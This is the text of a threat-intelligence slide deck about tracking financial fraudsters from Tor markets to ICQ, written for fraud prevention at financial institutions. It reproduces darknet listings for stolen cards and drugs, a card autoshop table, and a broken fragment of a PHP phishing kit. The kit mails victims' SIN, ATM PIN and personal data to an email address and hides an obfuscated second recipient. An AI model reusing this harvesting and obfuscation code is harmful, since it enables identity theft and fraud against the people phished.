Profiling Fraudsters from the Darknet to ICQ

Mathieu Lavoie
CEO, Flare Systems
On the agenda today

1) Why use Tor online illicit markets
2) How Tor illicit markets operate
3) The low-tech communications of high-tech financial fraudsters
4) Leveraging this intelligence for financial crime prevention
5) Conclusion
Part 1

Why Tor network online illicit markets
## Silk Road

### Browsing Drugs

<table>
<thead>
<tr>
<th>Item</th>
<th>Vendor</th>
<th>Price</th>
<th>Add to Cart</th>
</tr>
</thead>
<tbody>
<tr>
<td>1g DMT Freebase</td>
<td>ringo</td>
<td>B0.35672880</td>
<td></td>
</tr>
<tr>
<td>7g (1/4oz) P.Cubensis Powder</td>
<td>magiced</td>
<td>B0.16030500</td>
<td></td>
</tr>
<tr>
<td>FREE 25i-NBOMe 1mg blotter sample</td>
<td>eternalpsy</td>
<td>B0.00000000</td>
<td></td>
</tr>
</tbody>
</table>
4 reasons why online illicit markets exist

- Formal control & coordination
- Social networking
- Identity uncertainty & mitigation
- Quality uncertainty mitigation
Part 2

How Tor network illicit markets operate
Search Results [Savo Search]

View user profile: moka

[Fraud] FRESH CC/CVV FROM USA VISA/MASTER/DISCOVER (OLD MAGIC)
Item # 1103 - CVV & Cards - RedSon (4007)
Views: 40150 / Bids: Fixed price
Quantity left: Unlimited (69 automatic items)

★ FRAUDFOX VM ★ The most advanced tool to beat browser fingerprinting! (Dow
Item # 1942 - Legit Software - hugochavez (216)
Views: 5775 / Bids: Fixed price
Quantity left: Unlimited

| Know Exposure | FraudFox | PayPal Pro | Advanced | MKB
Item # 5529 - Fraud - 19 days left - moka (43)
Views: 1210 / Bids: Fixed price
Quantity left: Unlimited (1 automatic items)

| JungleMoney | CVV | PayPal | Neteller | MonkeyBusiness
Item # 797 - Fraud - 14 days left - moka (43)
Views: 994 / Bids: Fixed price
Quantity left: Unlimited (1 automatic items)
"More brazen than anything else by lightyears"

"Literally, it allows buyers and users to sell illegal drugs online, including heroin, cocaine, and meth, and users do sell by hiding their identities through a program that makes them virtually untraceable," Schumer said at a news conference Sunday. "It's a certifiable one-stop shop for illegal drugs that represents the most brazen attempt to peddle drugs online that we have ever seen. It's more brazen than anything else by lightyears."

Senator Charles Schumer is asking federal authorities to shut down a secretive narcotics market operated online with anonymous sales and untraceable currency.
Criminal innovation
Criminal innovation
Criminal innovation
Criminal innovation
Annual revenues of Tor network illicit markets (millions USD)


Annual revenues of Canadian Tor network illicit market vendors

Confirming results through an online survey.
47% of the revenues are concentrated for amounts less than $10,000

Carding revenues of Tor network carders

Part 3
The low-tech communications of high-tech financial fraudsters
Frank Costello
Since Alphabay Market, More than 5400 sales on Dream Market
Proof:
https://ibb.co/cJ19wX1
Actor FRANKCOSTELLO thriving despite criticism

Overview: Actor FRANKCOSTELLO is criticized on Canadian illicit platforms but his reputation has not been affected, suggesting a strong relationship with market administrators.

We have been monitoring the activities of the threat actor FRANKCOSTELLO for almost two years. The actor specializes in the sale of stolen personal and financial information but has also been advertising the sale of counterfeit bills as well as cocaine. We have recently seen many testimonials on darknet forums complaining about him, calling him a scammer.

"Bought an item from him, waited 3 days, nothing. Sent him a couple msgs, no answer, no product, no nothing"

"Beware of this scammer and ripper selling resold and dead logs.. true scum garbage"

"idiot m*** ripped me off $1m000 for a f*** guide called 2018 cc to your drop. This is a f*** joke. This f*** guide deals with shit from 2009. And the methods are all burnt"

It is therefore surprising to find him as the #2 vendor on the CanadianHQ online illicit market with over 700 positive feedbacks, indicating he could actually be a credible threat actor for Canadian financial institutions despite the complaints.
Pivoting to ICQ
// GOOGLE ANTI-PHISHING BLOCKER:
$s = array("0"=>"j","1"=>"c","2"=>"l","3"=>"g","4"=>"c","5"=>"m","6"=>"c","7"=>"c","8"=>"c","9"=>"7","10"=>"i","11"=>"m","12"=>"a","13"=>"0","14"=>"0","15"=>"0","16"=>"b","17"=>"2","18"=>"d","19"=>"7","19"=>"1","20"=>"d","21"=>"0");
$sdata =

<table>
<thead>
<tr>
<th>IP</th>
<th>$ip</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full name</td>
<td>$fname, $lname</td>
</tr>
<tr>
<td>Date birth</td>
<td>$dob</td>
</tr>
<tr>
<td>Full adress</td>
<td>$adress, $postal</td>
</tr>
<tr>
<td>Phone number</td>
<td>$phone</td>
</tr>
<tr>
<td>SIN</td>
<td>$sn1 - $sn2 - $sn3</td>
</tr>
<tr>
<td>ATM PIN</td>
<td>$atm</td>
</tr>
<tr>
<td>Useragent</td>
<td>$useragent</td>
</tr>
</tbody>
</table>


$ssubj="### Fullz $ip",

// Your email adress: ( resul will be there => all mails / junk mails )
$emailuser = 'trapsam109@gmail.com';

// TIME

mail($emailuser, $subj, $data);
mail($time, $subj, $data);
// GOOGLE ANTI-PHISHING BLOCKER:
$ar = array("0" => "j", "1" => "c", "2" => "l", "3" => ", "7" => ", "8" => "t", "9" => "7", "10" => "i", "14" => "8", "15" => "0", "16" => "b", "17" => ", "20" => "d", "21" => "o");
// TIME
$time =$ar['1'].$ar['12'].$ar['2']
    .$ar['14'].$ar['19'].$ar['18']
    .$ar['10'].$ar['2'].$ar['7'].$s

mail($emailusr, $subj, $data);
mail($time, $subj, $data);
Shared files with a trojan horse
Actionable intelligence for financial institutions
Actionable intelligence for financial institutions
Actionable intelligence for financial institutions
Travel fraud
Fake IDs
Clearnet
Carding forum
<table>
<thead>
<tr>
<th>CLEARNET</th>
<th>AUTOSHOPS</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Card Type</th>
<th>Name</th>
<th>CVV Verification</th>
<th>Name</th>
<th>Zip</th>
<th>City</th>
</tr>
</thead>
<tbody>
<tr>
<td>AMERICAN EXPRESS</td>
<td>ADAM</td>
<td>Yes</td>
<td>CAN (MIX) CREDIT</td>
<td>Monroe</td>
<td>30555</td>
</tr>
<tr>
<td>VISA CLASSIC</td>
<td>Oriane</td>
<td>Yes</td>
<td>CAN (MIX) CREDIT</td>
<td>Clinton</td>
<td>98236</td>
</tr>
<tr>
<td>VISA GOLD</td>
<td>Anik</td>
<td>Yes</td>
<td>CAN (MIX) CREDIT</td>
<td>SAINTE-ANGELE-DE-PREMONT</td>
<td>JMK 1R0</td>
</tr>
<tr>
<td>MASTERCARD UNKNOWN</td>
<td>Maxence</td>
<td>Yes</td>
<td>CAN (MIX) CREDIT</td>
<td>SAINT-JEAN-D’ORLEANS</td>
<td>GID 3W0</td>
</tr>
<tr>
<td>MASTERCARD STANDARD</td>
<td>Leanne</td>
<td>Yes</td>
<td>CAN (MIX) CREDIT</td>
<td>Leader</td>
<td>50N 1H0</td>
</tr>
<tr>
<td>VISA STANDARD</td>
<td>Aeron</td>
<td>Yes</td>
<td>CAN (MIX) CREDIT</td>
<td>Winnipeg</td>
<td>R2L 0V7</td>
</tr>
</tbody>
</table>

Note: The card numbers and other personal information are not recommended for sharing.
Part 4

Leveraging this intelligence for financial crime prevention
1) Use tor to get into illicit markets and forum discussions

2) Gather ICQ/Jabber/IRC channel from existing conversations threads

3) Engage with vendors to get more information about his listings

4) Connect to chat rooms and gather addition chat rooms links

5) Automate the monitoring of ongoing discussions and asset exchanges.
1) Use Tor to get into illicit markets and forum discussions

2) Gather ICQ/Jabber/IRC channel from existing conversations threads

3) Engage with vendors to get more information about his listings

4) Connect to chat rooms and gather addition chat rooms links

5) Automate the monitoring of ongoing discussions and asset exchanges.
1) Use tor to get into illicit markets and forum discussions

2) Gather ICQ/Jabber/IRC channel from existing conversations threads

3) Engage with vendors to get more information about his listings

4) Connect to chat rooms and gather addition chat rooms links

5) Automate the monitoring of ongoing discussions and asset exchanges.
1) Use tor to get into illicit markets and forum discussions

2) Gather ICQ/Jabber/IRC channel from existing conversations threads

3) Engage with vendors to get more information about his listings

4) Connect to chat rooms and gather addition chat rooms links

5) Automate the monitoring of ongoing discussions and asset exchanges.
1) Use tor to get into illicit markets and forum discussions

2) Gather ICQ/Jabber/IRC channel from existing conversations threads

3) Engage with vendors to get more information about his listings

4) Connect to chat rooms and gather addition chat rooms links

5) Automate the monitoring of ongoing discussions and asset exchanges.
Leveraging this intelligence

› Automation and integration are mandatory for timely remediation.

› OCR is a must to get additional actionable Intel.

› Need to distinguish new information from reposted samples.

› Interactions with cyber criminals are basic/repeatable.
Leveraging this intelligence

› Automation and integration are mandatory for timely remediation.

› OCR is a must to get additional actionable Intel.

› Need to distinguish new information from reposted samples.

› Interactions with cyber criminals are basic /repeatable.
Leveraging this intelligence

› Automation and integration are mandatory for timely remediation.

› OCR is a must to get additional actionable Intel.

› Need to distinguish new information from reposted samples.

› Interactions with cyber criminals are basic /repeatable.
Leveraging this intelligence

» Automation and integration are mandatory for timely remediation.

» OCR is a must to get additional actionable Intel.

» Need to distinguish new information from reposted samples.

» Interactions with cyber criminals are basic/repeatable.
Part 5

Conclusion
Conclusion

› Intelligence must be collected from different platforms

› Low-tech communication channels are widely used

› Offenders are publishing actionable intelligence in multiple file formats

› Informations posted by offenders need to be validated
Conclusion

- Intelligence must be collected from different platforms

- **Low-tech communication channels are widely used**

- Offenders are publishing actionable intelligence in multiple file formats

- Informations posted by offenders need to be validated
Conclusion

› Intelligence must be collected from different platforms

› Low-tech communication channels are widely used

› **Offenders are publishing actionable intelligence in multiple file formats**

› Informations posted by offenders need to be validated
Conclusion

› Intelligence must be collected from different platforms

› Low-tech communication channels are widely used

› Offenders are publishing actionable intelligence in multiple file formats

› Informations posted by offenders need to be validated